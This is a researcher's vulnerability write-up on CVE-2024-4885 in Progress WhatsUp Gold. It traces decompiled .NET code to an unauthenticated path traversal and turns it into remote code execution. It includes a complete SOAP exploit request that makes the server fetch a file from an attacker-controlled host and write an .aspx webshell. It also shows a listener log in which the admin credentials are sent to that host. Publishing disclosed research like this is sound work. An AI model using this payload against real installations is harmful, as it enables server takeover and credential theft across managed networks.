WhatsUp Gold Pre-Auth RCE GetFileWithoutZip Primitive

CVE-2024-4885

TLDR

I discovered an unauthenticated path traversal against the latest version of progress whatsup gold and turned it into a pre-auth RCE, following is how I did it

ZDI

Introduction (yet another TLDR)

Here we go, April 24th I reported a path traversal vulnerability that leads to unauthenticated remote code execution against the latest version of progress whatsup gold. July 3rd the good folks of ZDI published the related advisory.

ZDI

What is WhatsUp Gold

ZDI

At the time, one of many definitions for this product on the vendor’s website is:

WhatsUp Gold provides complete visibility into the status and performance of applications, network devices and servers in the cloud or on-premises.

but I describe this as a legitimate C2 where you can manage all sorts of victims I mean end-users and have their credentials stored in this software to manage them remotely, for example:

ZDI

there are multiple purposes for all of this is one is to be able to collect performance information from these endpoints apparently the other is to manage them remotely or as I’d like to say execute commands remotely, here we care about the exploitation and so that’s good enough information to know what things someone might be able to have once this software is popped which probably is your entire network of users/machines/switches/routers that you have added to this software.

Advanced .NET Exploitation

sponsor of today’s PoC drop is me, if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you all you need about .net related vulnerabilities, things like exploiting WCF (Windows communication foundation), complicated deserializations, lots of other clickbait titles and how to pop shellz on .net targets

AdvancedNetExploitationTraining

The Vulnerability

The vulnerability here is simple, but lets go step by step, the NmApi.exe process listens on ports 9642 and 9643, both are used to expose .NET WCF Services, the configuration for these two wcf services has been defined in a .config file at C:\Program Files (x86)\Ipswitch\WhatsUp\NmAPI.exe.config

Line 10 declares the support for WCF of type basicHttpBinding labelling it as BasicHttpBinding_ICoreServices with some other configurations such as timeout, etc

Line 41 defines an endpoint for the IRecurringReportServices contract, and sets the binding type to basicHttpBinding and the address to RecurringReport Line 58 defines two base addresses for the available WCF services, line 59 defines the address for the basicHttpBinding

 1:  <system.serviceModel>
 2:  	<bindings>
 3:  		<netTcpBinding>
 4:  			<binding name="NetTcpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="01:10:00" sendTimeout="00:01:00" transactionFlow="false" transferMode="Buffered" transactionProtocol="OleTransactions" hostNameComparisonMode="StrongWildcard" listenBacklog="10" maxBufferPoolSize="524288" maxBufferSize="99965536" maxConnections="100" maxReceivedMessageSize="99965536" portSharingEnabled="false">
 5:  				<readerQuotas maxDepth="32" maxStringContentLength="99999999" maxArrayLength="999999999" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>
 6:  				<reliableSession ordered="true" inactivityTimeout="00:10:00" enabled="false"/>
 7:  				<security mode="None"/>
 8:  			</binding>
 9:  		</netTcpBinding>
10:  		<basicHttpBinding>
11:  			<binding name="BasicHttpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="00:10:00" sendTimeout="00:01:00" allowCookies="false" bypassProxyOnLocal="false" hostNameComparisonMode="StrongWildcard" maxBufferSize="9965536" maxBufferPoolSize="524288" maxReceivedMessageSize="9965536" messageEncoding="Text" textEncoding="utf-8" transferMode="Buffered" useDefaultWebProxy="true">
12:  				<readerQuotas maxDepth="32" maxStringContentLength="999999" maxArrayLength="16384" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>
13:  			</binding>
14:  		</basicHttpBinding>
15:  	</bindings>
16:  	<behaviors>
17:  		<endpointBehaviors>
18:  			<behavior name="webHttpBehavior">
19:  				<webHttp/>
20:  			</behavior>
21:  		</endpointBehaviors>
22:  		<serviceBehaviors>
23:  			<behavior name="NmAPI.CoreServicesBehavior">
24:  				<serviceMetadata httpGetEnabled="false"/>
25:  				<serviceDebug includeExceptionDetailInFaults="true"/>
26:  			</behavior>
27:  			<behavior name="NmAPI.VirtualizationServicesBehavior">
28:  				<serviceMetadata httpGetEnabled="false"/>
29:  				<serviceDebug includeExceptionDetailInFaults="true"/>
30:  			</behavior>
31:  		</serviceBehaviors>
32:  	</behaviors>
33:  	<services>
34:  		<service behaviorConfiguration="NmAPI.CoreServicesBehavior" name="NmAPI.CoreServices">
35:  			<endpoint address="" binding="netTcpBinding" bindingConfiguration="NetTcpBinding_ICoreServices" contract="NmAPI.ICoreServices"/>
36:  			<endpoint address="CoreServices" binding="wsHttpBinding" contract="NmAPI.ICoreServices">
37:  				<identity>
38:  					<dns value="localhost"/>
39:  				</identity>
40:  			</endpoint>
41:  			<endpoint address="RecurringReport" binding="basicHttpBinding" contract="NmAPI.IRecurringReportServices">
42:  				<identity>
43:  					<dns value="localhost"/>
44:  				</identity>
45:  			</endpoint>
46:  			<endpoint address="DeviceClone" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmAPI.IDeviceCloneServices">
47:  				<identity>
48:  					<dns value="localhost"/>
49:  				</identity>
50:  			</endpoint>
51:  			<endpoint address="AlertCenter" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmContracts.AlertCenter.Interfaces.IAlertCenterService">
52:  				<identity>
53:  					<dns value="localhost"/>
54:  				</identity>
55:  			</endpoint>
56:  			<!-- <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->
57:  			<host>
58:  				<baseAddresses>
59:  					<add baseAddress="http://localhost:9642/NmAPI"/>
60:  					<add baseAddress="net.tcp://localhost:9643"/>
61:  				</baseAddresses>
62:  			</host>
63:  		</service>
64:  		<service behaviorConfiguration="NmAPI.VirtualizationServicesBehavior" name="NmAPI.VirtualizationServices">
65:  			<endpoint address="" behaviorConfiguration="webHttpBehavior" binding="webHttpBinding" contract="NmAPI.IPolicyRetriever"/>
66:  			<endpoint address="NmAPI/VirtualizationServices/" binding="basicHttpBinding" contract="NmAPI.IVirtualizationServices"/>
67:  			<!-- <endpoint address="NmAPI/VirtualizationServices/VirtualizationServices/mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->
68:  			<host>
69:  				<baseAddresses>
70:  					<add baseAddress="http://localhost:9676"/>
71:  				</baseAddresses>
72:  			</host>
73:  		</service>
74:  	</services>
75:  	<diagnostics>
76:  		<!-- messageLogging node controls options for the System.ServiceModel.MessageLogging source -->
77:  		<!-- MSDN documentation: http://msdn.microsoft.com/en-us/library/ms731308.aspx -->
78:  		<messageLogging logEntireMessage="false" logMalformedMessages="false" logMessagesAtServiceLevel="false" logMessagesAtTransportLevel="false" maxMessagesToLog="1000" maxSizeOfMessageToLog="262144" logKnownPii="false">
79:  			<filters>
80:  				<clear/>
81:  			</filters>
82:  		</messageLogging>
83:  	</diagnostics>
84:  </system.serviceModel>

Eagle Eye would’ve noticed the security setting for the said wcf endpoint, well, actually, it would’ve notice the “absence” of it for the HTTP binding. Microsoft describes the default <security> for basicHttpBinding like as follows

The “mode” attribute is “Optional” and Specifies the type of security that is used. The default is None. This attribute is of type BasicHttpSecurityMode. -Yours truly, Microsoft

microsoft doc wcf security default value

now that we understand it’s possible to communicate with this WCF unauthenticated, lets understand where the path traversal issue happens

Following interface at NmApi.exe!NmAPI.IRecurringReportServices defines the available methods offered by the target Windows Communication Foundation contract

using System;
using System.ServiceModel;
using WUGDataAccess.Core.DataContracts;
using WUGDataAccess.RecurringReports.DataContracts;

namespace NmAPI
{
	[ServiceContract]
	public interface IRecurringReportServices
	{
		[OperationContract]
		EntityRecurringReport AddRecurringReport(EntityRecurringReport rr);

		[OperationContract]
		EntityRecurringReport GetRecurringReport(int recurringReportID);

		[OperationContract]
		EntityRecurringReport[] GetAllRecurringReports();

		[OperationContract]
		bool UpdateRecurringReport(EntityRecurringReport rr);

		[OperationContract]
		bool EnableRecurringReports(int[] recurringReportIDs);

		[OperationContract]
		bool DisableRecurringReports(int[] recurringReportIDs);

		[OperationContract]
		void DeleteRecurringReports(int[] recurringReportIDs);

		[OperationContract]
		int ExportToPDF(string url, int webUserID, EntityReportExportOptions exportOptions);

		[OperationContract]
		int EmailPDF(string url, int webUserID, EntityReportExportOptions exportOptions, EntityEmailSettings emailSettings);

		[OperationContract]
		int TestRecurringReport(EntityRecurringReport rr);

		[OperationContract]
		EntityRecurringReportProgress GetProgress(int taskID);

		[OperationContract]
		DateTime GetNextRunTime(EntityScheduleSettings schedule);
	}
}

lets look for the implementation of the TestRecurringReport method which expects an argument of type WUGDataAccess.RecurringReports.DataContracts.EntityRecurringReport which needs to be named as rr the rr variable is passed to an internal task scheduler to execute this operation as an async task by making a call to AddOneTimeTask

1:  public int TestRecurringReport(EntityRecurringReport rr)
2:  {
3:  	return RecurringReportScheduleManager.Instance.AddOneTimeTask(rr);
4:  }

The following AddOneTimeTask method will expect the rr value and after acquiring a task lock at line (3) it will instantiate an instance of RecurringReportTask class AKA NmAPI.RecurringReportTask.RecurringReportTask by passing 3 arguments to it which the last one is important to us (the rr argument) after an instance of this class/task is created, some properties are set such as the duration of the task at line (15) and some other setting, next, at line (17) the task is started then the task is added to the task manager queue at line (18) to be managed.

 1:  public int AddOneTimeTask(EntityRecurringReport rr)
 2:  {
 3:  	RecurringReportScheduleManager.taskDictionaryLock.EnterWriteLock();
 4:  	try
 5:  	{
 6:  		if (!this.failoverActive)
 7:  		{
 8:  			RecurringReportScheduleManager._trace.TraceEvent(TraceEventType.Verbose, 4, "Failover has turn off scheduled reports because it is not the active system.");
 9:  			return -1;
10:  		}
11:  		RecurringReportScheduleManager.taskCounter++;
12:  		rr.Schedule = null;
13:  		RecurringReportTask recurringReportTask = new RecurringReportTask(RecurringReportScheduleManager.taskCounter, true, rr);
14:  		RecurringReportScheduleManager._trace.TraceEvent(TraceEventType.Verbose, 4, "Creating AddOneTimeTask task =" + recurringReportTask.Name + " taskCounter=" + RecurringReportScheduleManager.taskCounter.ToString());
15:  		recurringReportTask.DueTime = 1000;
16:  		recurringReportTask.Period = 1000;
17:  		recurringReportTask.Start();
18:  		RecurringReportScheduleManager.recurringReportTasks.Add(RecurringReportScheduleManager.taskCounter, recurringReportTask);
19:  	}
20:  	finally
21:  	{
22:  		RecurringReportScheduleManager.taskDictionaryLock.ExitWriteLock();
23:  	}
24:  	return RecurringReportScheduleManager.taskCounter;
25:  }

lets also have a look at the RecurringReportTask implementation which is fairly easy but has one important note to it, that is, the this.rr assignment. following is the RecurringReportTask implementation which we instantiated earlier, you might wonder where did the taskID and oneTimeTask come from, these are part of the 3 arguments passed that we saw earlier, they’re not important to us here, what’s important here is the recurringReport variable which will be used to set the this.rr property of the current report task, then some other methods are executed which again are for purpose of async task execution, now, although not visible here, but the next method being invoked indirectly by the internal task manager is TaskCallback

1:  public RecurringReportTask(int taskID, bool oneTimeTask, EntityRecurringReport recurringReport)
2:  {
3:  	this.TaskID = taskID;
4:  	this.OneTimeTask = oneTimeTask;
5:  	this.rr = recurringReport;
6:  	this.UpdateProgress(TaskState.Initializing, 0, "Initializing...");
7:  	this.UpdateProgress(null);
8:  }

The TaskCallback AKA NmAPI.RecurringReportTask.TaskCallback is a overridden method that any class that inherits from WhatsUp.Core.ScheduledTask need to override in order to define what’s the actual logic that gets invoked once a task is started via the internal task manager. remember, this method is part of the same class that was setting the this.rr property earlier.

the method might look complicated at first glance, but its actually not, you can guess from the method names so far that idea is to generate a report, and in order to do so these statements are simply looking for the report generation settings in the passed rr object which is attacker controllable, so lets talk about where we want the code to be directed

we are interested in hitting the this.GenerateOutputFile method, in order to do so, look at line (27) we just need to have something other than “pdf” for the this.rr.ExportOptions.ExportType, if we manage to cause the this.rr.ExportOptions.ExportType == "pdf" condition to result in false, then the else clause is executed which first checks if there are enough space on the file system at line (35) and then at line (37) the this.GenerateOutputFile is invoked passing the this.rr, lets continue looking at the GenerateOutputFile implementation

 1:  public override void TaskCallback(object obj)
 2:  {
 3:  	if (!base.CanRun())
 4:  	{
 5:  		return;
 6:  	}
 7:  	base.TaskCallback(obj);
 8:  	this._trace.TraceInformation("{0}:Initializing...", new object[] { this.TaskID });
 9:  	if (this.rr.ExportOptions.ExportType == "")
10:  	{
11:  		this.rr.ExportOptions.ExportType = "pdf";
12:  	}
13:  	EntityReportExportOptions exportOptions = this.rr.ExportOptions;
14:  	string extension = RecurringReportTask.GetExtension(this.rr);
15:  	string text = null;
16:  	string text2 = null;
17:  	byte[] array = null;
18:  	DateTime dateTime = this.CalculateNextRunTime(this.rr);
19:  	while (DateTime.Now < dateTime)
20:  	{
21:  		if (this.Canceled)
22:  		{
23:  			return;
24:  		}
25:  		Thread.Sleep(TimeSpan.FromSeconds(1.0));
26:  	}
27:  	if (this.rr.ExportOptions.ExportType == "pdf")
28:  	{
29:  		string text3 = this.rr.Name + " " + DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
30:  		text3 = text3 + "<br><br>" + this.rr.ExportOptions.PdfMessage;
31:  		this.SendEmailForPdf(text3, null);
32:  	}
33:  	else
34:  	{
35:  		if (new DriveInfo(Directory.GetDirectoryRoot(this.rr.ExportOptions.WebExportDirectory)).AvailableFreeSpace > 104857600L)
36:  		{
37:  			text = this.GenerateOutputFile(this.rr);
38:  		}
39:  		if (string.IsNullOrEmpty(text))
40:  		{
41:  			this.UpdateProgress(TaskState.Failed, 100, "Failed to generate output file!\nCheck the available disk space!");
42:  		}
43:  		else
44:  		{
45:  			try
46:  			{
47:  				text2 = Path.GetFileName(text);
48:  				array = File.ReadAllBytes(text);
49:  			}
50:  			catch (Exception ex)
51:  			{
52:  				this.UpdateProgress(TaskState.Failed, 100, "Failed while attempting to read output file!\n" + ex.Message);
53:  			}
54:  		}
55:  		if (array != null && this.rr.ExportOptions.ToMail)
56:  		{
57:  			this.UpdateProgress(TaskState.Running, 70, "Sending email to " + this.rr.EmailSettings.SendTo);
58:  			try
59:  			{
60:  				this.SendEmail(array, text2, extension, null, null);
61:  			}
62:  			catch (Exception ex2)
63:  			{
64:  				this.UpdateProgress(TaskState.Failed, 100, "Failed while attempting to send Email!\n" + ex2.Message);
65:  			}
66:  		}
67:  	}
68:  	if (this.Progress.State != TaskState.Failed)
69:  	{
70:  		this.UpdateProgress(TaskState.Complete, 100, "Finished.");
71:  	}
72:  	if (this.OneTimeTask)
73:  	{
74:  		base.Stop();
75:  	}
76:  	else
77:  	{
78:  		base.TaskCallbackEnd(obj);
79:  	}
80:  	this.LastActiveTime = DateTime.Now;
81:  }

The GenerateOutputFile will take the rr argument and first it will define a variable named url based on a property inside the rr.URL you might think this is going to be a http(s)://..... sort of thing, but don’t let the variable name fool you, continuing at line (10) another variable named webExportDirectory is set using the value of rr.ExportOptions.WebExportDirectory property, and then at line (11) the url variable is checked to be a valid json by calling the RecurringReportTask.IsJson

Now we are interested in hitting the line (24) which calls the GetFileWithoutZipmethod, in order to achieve this, we need to set the rr.ExportOptions.ToMail property to true to satisfy the condition at line (16) and then set the rr.ExportOptions.ZipEnabled property to false to care of condition at line (18) which results in reaching the else clause and invoking the GetFileWithoutZip at line (24) and passing the following arguments:

lets proceed and look at the implementation of GetFileWithoutZip

 1:  private string GenerateOutputFile(EntityRecurringReport rr)
 2:  {
 3:  	string url = rr.URL;
 4:  	string extension = RecurringReportTask.GetExtension(rr);
 5:  	this.UpdateProgress(TaskState.Running, 10, string.Format("Generating {0} for the URL: {1}", extension.ToUpper(), url));
 6:  	string text2;
 7:  	try
 8:  	{
 9:  		Export exporterInstance = this.getExporterInstance(rr);
10:  		string webExportDirectory = rr.ExportOptions.WebExportDirectory;
11:  		if (!RecurringReportTask.IsJson(url))
12:  		{
13:  			throw new NotSupportedException("PDF export is not supported. Please convert to HTML export.");
14:  		}
15:  		string text;
16:  		if (rr.ExportOptions.ToMail)
17:  		{
18:  			if (rr.ExportOptions.ZipEnabled)
19:  			{
20:  				text = exporterInstance.GetFile(url, webExportDirectory, rr);
21:  			}
22:  			else
23:  			{
24:  				text = exporterInstance.GetFileWithoutZip(url, webExportDirectory, false, rr);
25:  			}
26:  		}
27:  		else if (rr.ExportOptions.ZipEnabled)
28:  		{
29:  			text = exporterInstance.SaveFile(url, webExportDirectory, rr);
30:  		}
31:  		else
32:  		{
33:  			text = exporterInstance.SaveFileWithoutZip(url, webExportDirectory, false, rr);
34:  		}
35:  		this.UpdateProgress(text);
36:  		this.UpdateProgress(TaskState.Running, 70, "File generated successfully.");
37:  		text2 = text;
38:  	}
39:  	catch (Exception ex)
40:  	{
41:  		string text3 = This.Where(false, "GenerateOutputFile", "C:\\a\\WUG\\WUG\\Project\\Source\\Source\\NmAPI\\RecurringReportTask.cs", 233);
42:  		string text4 = Log.ExceptionMessage(ex, "");
43:  		this.UpdateProgress(TaskState.Failed, 100, string.Concat(new string[]
44:  		{
45:  			"Failed while generating ",
46:  			extension.ToUpper(),
47:  			": ",
48:  			text3,
49:  			" ",
50:  			text4
51:  		}));
52:  		text2 = null;
53:  	}
54:  	return text2;
55:  }

(Start looking at the code below) First, the attacker controlled path which comes from the argument named folder is used to construct a path at line (3) the return value of Path.Combine overwrites the folder variable value, next the folder is cleaned up at line (4) and if the directory doesn’t exist (line 5) it gets created (line 7)

now the json variable (which originated from the previous function url variable) is used to invoke a very important method named this.getreport, now before I step into this function and explain its mechanics, lets understand where the return value of this function is used

the return value is placed inside a <string, string> dictionary at line (11) and then after some sanity checks to take care of potential exceptions and empty values at lines (12,16) if all is good then if the condition at line 26 that is rr.ExportOptions.ExportType is satisfied, then an instance of the StringBuilder which was created at line (24) is used to append the values of the dictionary members at line 30 and 31

so we understand so far that whatever the this.getReport method returns which is a dictionary of <string, string> is looped and the members are made into a string, and then at line 33 until 40, a string concatenation is invoked to craft a file name for the report to be saved, and this report name is used at line 41 in combination of the folder variable which we discussed earlier to make an absolute path for the report to be created and its content to be set to the stringBuilder by making a call to File.WriteAllText at line (42)

the puzzle has started to come together, eagle eye would thing, how can we control the path and how can be control the dictionary members, can we just take advantage of rr.Name property? what about the dictionary members, do we need to look into getReport? the answer to the first question is that the devs at progress tried to be smart and have wrapped the rr.Name property with a call to this.ValidName which without boring you with its details is there to prevent path traversal, by making sure the file name doesn’t contain invalid characters such as . / \ : etc but they forgot about the folder part, that part doesn’t have any validation, so if a given folder is something like C:\\controlled-path then the path generated will be C:\\controlled-path\\Data\\ExportedReports\\SAFE_2024-00-00_00-00-00.aspx

wait, where did the .aspx come from? good question, you see the text being used at line 39 is coming from this.getReport so now lets look at this method, if we can influence the return value of it which is a dictionary and the passed by reference argument which is out text that is going to be the extension, we can achieve a write what where primitive which yields us RCE

 1:  public string GetFileWithoutZip(string json, string folder, bool preview, EntityRecurringReport rr)
 2:  {
 3:  	folder = Path.Combine(folder, "Data\\ExportedReports\\");
 4:  	this.CleanupFiles(folder);
 5:  	if (!Directory.Exists(folder))
 6:  	{
 7:  		Directory.CreateDirectory(folder);
 8:  	}
 9:  	string text;
10:  	string text2;
11:  	Dictionary<string, string> report = this.getReport(json, out text, out text2);
12:  	if (report.ContainsKey("exception"))
13:  	{
14:  		throw new Exception(report["exception"]);
15:  	}
16:  	if (!report.Any<KeyValuePair<string, string>>())
17:  	{
18:  		throw new Exception("No files were generated");
19:  	}
20:  	if (preview)
21:  	{
22:  		text = "html";
23:  	}
24:  	StringBuilder stringBuilder = new StringBuilder();
25:  	string text4;
26:  	if (rr.ExportOptions.ExportType != "xml")
27:  	{
28:  		foreach (KeyValuePair<string, string> keyValuePair in report)
29:  		{
30:  			stringBuilder.Append(keyValuePair.Value);
31:  			stringBuilder.Append(Environment.NewLine);
32:  		}
33:  		string text3 = string.Concat(new string[]
34:  		{
35:  			this.ValidName(rr.Name),
36:  			"_",
37:  			DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss"),
38:  			".",
39:  			text
40:  		});
41:  		text4 = Path.Combine(folder, text3);
42:  		File.WriteAllText(text4, stringBuilder.ToString());
43:  	}
44:  	else
45:  	{
46:  		string text5 = report.Values.First<string>();
47:  		string text6 = "";
48:  		report.Remove(report.Keys.First<string>());
49:  		foreach (KeyValuePair<string, string> keyValuePair2 in report)
50:  		{
51:  			string value = keyValuePair2.Value;
52:  			XmlDocument xmlDocument = new XmlDocument();
53:  			xmlDocument.LoadXml(value);
54:  			string outerXml = xmlDocument.GetElementsByTagName("Table")[0].OuterXml;
55:  			text6 = text6 + Environment.NewLine + outerXml;
56:  		}
57:  		text5 = text5.Replace("</Table>", "</Table>" + Environment.NewLine + text6);
58:  		stringBuilder.Append(text5);
59:  		string text7 = string.Concat(new string[]
60:  		{
61:  			this.ValidName(rr.Name),
62:  			"_",
63:  			DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss"),
64:  			".",
65:  			text
66:  		});
67:  		text4 = Path.Combine(folder, text7);
68:  		File.WriteAllText(text4, stringBuilder.ToString());
69:  	}
70:  	return text4;
71:  }

when the WhatsUp.ExportUtilities.Export.getReport is invoked, 3 arguments are passed, the json variable containing the provided json configuration setting that is super important here and the other two which are out string extension and out string title are just two variables passed by reference.

Line (3) will deserialize the json object and store it in a variable named jobject which is of type JObject then a using clause is executed which will first instantiate an instance of new HttpClient() and assigns this object to a variable named httpClient

next, at line (9) the code will extract the baseUrl key from the previous deserialized json configuration blob and assigns the BaseAddress property of the httpClient object which is entirely under our control, now that the base url is set, at line (12) an interesting call to WebUserConfig.Get is initiated which will use pass the userId member from our controlled jobject variable and passes two variables by reference, this is such a cool function, given a userId it will retrieve the username and password of any user you like ^_^ and as said before, userId is completely, under our control, the username gets placed inside the empty variable and password inside the empty2 what an awesome way to name variables one might say

chad: naming variables is important to increase code readability

dev: yes yes but I can’t be fucked

once the the httpClient is prepared, at line (14) a GET request is sent to verify if the remote server accept the provided creds by making a call to GetStringAsync(text).GetAwaiter().GetResult() after that, at line (15) the uri path is changed to api/core/render and an instance of HttpRequestMessage is instantiated by providing PUT as the method and the text variable holding api/core/render

next an async call is invoked at line (19) to retrieve the result, once the request is complete, the result is fetched and placed inside the result2 variable at line (21)

since we can control where this request is going, we can point it to our rogue server and return a poisoned response, and then the result is used to populate the dictionary at line (24) and return it to the caller, also at line (23) the eagle eye would’ve notice the extension is also populated using the jobject member named renderType which is also under our control which answers the aspx question from before

finally the poisoned dictionary is returned to the caller at line (26)

so now we know, we can make the getReport function to send a HTTP request to our rogue server to retrieve a poisoned response which the content of this response is used as the content of a file and the extension is also controllable through a jobject member named renderType, GG

Note: you might have noticed at line (13) a path being constructed which is going to contain the username and password of the whatsup gold administrator account, as cool as it look having a 3rd impact here (file write from the caller, SSRF in here, potential cred leak, etc) you better forget about the cred leak (or should you?) cause the password is encrypted with a key which is unique to each installation instance of the product (Psssst, maybe there is a waaaaay ^_^)

 1:  private Dictionary<string, string> getReport(string json, out string extension, out string title)
 2:  {
 3:  	JObject jobject = JsonConvert.DeserializeObject<JObject>(json);
 4:  	Dictionary<string, string> dictionary;
 5:  	using (HttpClient httpClient = new HttpClient())
 6:  	{
 7:  		httpClient.DefaultRequestHeaders.Clear();
 8:  		httpClient.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
 9:  		httpClient.BaseAddress = new Uri((string)jobject["baseUrl"]);
10:  		string empty = string.Empty;
11:  		string empty2 = string.Empty;
12:  		WebUserConfig.Get((int)jobject["userId"], ref empty, ref empty2);
13:  		string text = string.Format("Session/Login/?sUsername={0}&sPassword={1}", empty, empty2);
14:  		httpClient.GetStringAsync(text).GetAwaiter().GetResult();
15:  		text = "api/core/render";
16:  		HttpRequestMessage httpRequestMessage = new HttpRequestMessage(HttpMethod.Put, text);
17:  		StringContent stringContent = new StringContent(json, Encoding.UTF8, "application/json");
18:  		httpRequestMessage.Content = stringContent;
19:  		HttpResponseMessage result = httpClient.SendAsync(httpRequestMessage).GetAwaiter().GetResult();
20:  		result.EnsureSuccessStatusCode();
21:  		string result2 = result.Content.ReadAsStringAsync().GetAwaiter().GetResult();
22:  		title = (string)jobject["title"];
23:  		extension = (string)jobject["renderType"];
24:  		dictionary = JsonConvert.DeserializeObject<Dictionary<string, string>>(result2);
25:  	}
26:  	return dictionary;
27:  }

now all we need is to craft the correct type of request that meets the structure of the rr variable which is of type WUGDataAccess.RecurringReports.DataContracts.EntityRecurringReport, a request can look like the following

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
   <s:Body>
       <TestRecurringReport xmlns="http://tempuri.org/">
           <rr xmlns:a="http://schemas.datacontract.org/2004/07/WUGDataAccess.RecurringReports.DataContracts"
               xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
               <a:AlternateHost i:nil="true" />
               <a:Disabled>false</a:Disabled>
               <a:EmailSettings xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts">
                   <b:Authentication>None</b:Authentication>
                   <b:CredentialsId i:nil="true" />
                   <b:DirectoryPath>C:\PROGRA~2\Ipswitch\WhatsUp\Data\ScheduledReports</b:DirectoryPath>
                   <b:Password />
                   <b:Port>25</b:Port>
                   <b:SMTPServer />
                   <b:SendFrom>WhatsUpGold@YourDomain.com</b:SendFrom>
                   <b:SendTo i:nil="true" />
                   <b:Subject>Emailing: Wireless Log</b:Subject>
                   <b:TimeoutSec>30</b:TimeoutSec>
                   <b:UseEncryptedConn>false</b:UseEncryptedConn>
                   <b:Username />
               </a:EmailSettings>
               <a:ExportOptions>
                   <a:AuthorName>WhatsUp Gold</a:AuthorName>
                   <a:AutosizePDFPage>true</a:AutosizePDFPage>
                   <a:AvoidImageBreak>false</a:AvoidImageBreak>
                   <a:AvoidTextBreak>true</a:AvoidTextBreak>
                   <a:BrowserPageHeight>0</a:BrowserPageHeight>
                   <a:BrowserPageWidth>0</a:BrowserPageWidth>
                   <a:ConversionDelay>3</a:ConversionDelay>
                   <a:CustomPageHeight>0</a:CustomPageHeight>
                   <a:CustomPageWidth>0</a:CustomPageWidth>
                   <a:ExportAuthToken />
                   <a:ExportType>html</a:ExportType>
                   <a:FitHeight>false</a:FitHeight>
                   <a:FitWidth>false</a:FitWidth>
                   <a:InternalLinksEnabled>false</a:InternalLinksEnabled>
                   <a:LiveURLsEnabled>false</a:LiveURLsEnabled>
                   <a:NavigationTimeout>240</a:NavigationTimeout>
                   <a:PageOrientation>Portrait</a:PageOrientation>
                   <a:PageSize>Letter</a:PageSize>
                   <a:PdfMessage>html</a:PdfMessage>
                   <a:PreviewEnabled>false</a:PreviewEnabled>
                   <a:Subject i:nil="true" />
                   <a:TimeFormat>g:i:s a</a:TimeFormat>
                   <a:Title i:nil="true" />
                   <a:ToMail>true</a:ToMail>
                   <a:WebExportDirectory>C:\Program Files (x86)\Ipswitch\WhatsUp\html\NmConsole\</a:WebExportDirectory>
                   <a:ZipEnabled>false</a:ZipEnabled>
               </a:ExportOptions>
               <a:IncludeURLInEmail>false</a:IncludeURLInEmail>
               <a:Name>webshell</a:Name>
               <a:NextRun i:nil="true" />
               <a:RecurringReportID>-1</a:RecurringReportID>
               <a:Schedule xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts">
                   <b:DailyDays>1</b:DailyDays>
                   <b:DailyOptions>Interval</b:DailyOptions>
                   <b:DaysOfTheWeek xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
                       <c:boolean>true</c:boolean>
                       <c:boolean>true</c:boolean>
                       <c:boolean>true</c:boolean>
                       <c:boolean>true</c:boolean>
                       <c:boolean>true</c:boolean>
                       <c:boolean>true</c:boolean>
                       <c:boolean>true</c:boolean>
                   </b:DaysOfTheWeek>
                   <b:MonthlyDayMonths>1</b:MonthlyDayMonths>
                   <b:MonthlyDayNumber>3</b:MonthlyDayNumber>
                   <b:MonthlyOptions>DayOfMonth</b:MonthlyOptions>
                   <b:MonthlyRecur>First</b:MonthlyRecur>
                   <b:MonthlyRecurDay>Sunday</b:MonthlyRecurDay>
                   <b:MonthlyRecurMonths>1</b:MonthlyRecurMonths>
                   <b:RecurringInterval>1</b:RecurringInterval>
                   <b:RecurringTimeIntervals>Minutes</b:RecurringTimeIntervals>
                   <b:ScheduleType>TimeInterval</b:ScheduleType>
                   <b:StartTime>2024-07-05T16:59:14.047957+01:00</b:StartTime>
                   <b:TimeIntervalStartDate>2024-07-05T16:59:14.047957+01:00</b:TimeIntervalStartDate>
                   <b:WeeklyWeeks>1</b:WeeklyWeeks>
                   <b:YearlyDayOfMonth>3</b:YearlyDayOfMonth>
                   <b:YearlyMonthRecur>First</b:YearlyMonthRecur>
                   <b:YearlyMonthRecurDay>Sunday</b:YearlyMonthRecurDay>
                   <b:YearlyMonths>March</b:YearlyMonths>
                   <b:YearlyOptions>DayOfYear</b:YearlyOptions>
                   <b:YearlyRecurMonth>March</b:YearlyRecurMonth>
               </a:Schedule>
               <a:URL>
                   {"title":"foo","renderType":"aspx","reports":[{"title":"thetitle","url":"/NmConsole/api/Wireless/ReportWirelessLog","dateRangeFilter":{"label":"Date
                   Range","n":0,"range":"Today","text":"Today"},"severityFilter":{"label":"Severity","value":-1,"text":"ALL"},"limit":50,"grid":{"emptyText":"[
                   No records found
                   ]","columns":[{"dataIndex":"Date","text":"Date","flex":1},{"dataIndex":"Severity","text":"Severity","flex":1},{"dataIndex":"Message","text":"Message","flex":1}],"filters":[],"sorters":[]}}],"baseUrl":"http://192.168.0.181:1337/","userId":1}
               </a:URL>
               <a:WebUserID>1</a:WebUserID>
               <a:WebUserName>admin</a:WebUserName>
           </rr>
       </TestRecurringReport>
   </s:Body>
</s:Envelope>

running a simple listener you’ll receive the following request

ncat -lvvnp 1337
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337


Ncat: Connection from 192.168.0.231:4605.


GET /Session/Login/?sUsername=admin&sPassword=223,255,226,50,2,247,71,87,99 HTTP/1.1
Accept: application/json
Host: 192.168.0.181:1337
Connection: Keep-Alive

now building a rogue server is easy, and if done correctly, you’ll get:

ZDI

This is how things went down: callstack

Proof of Concept

you can find the exploit at the following github repository

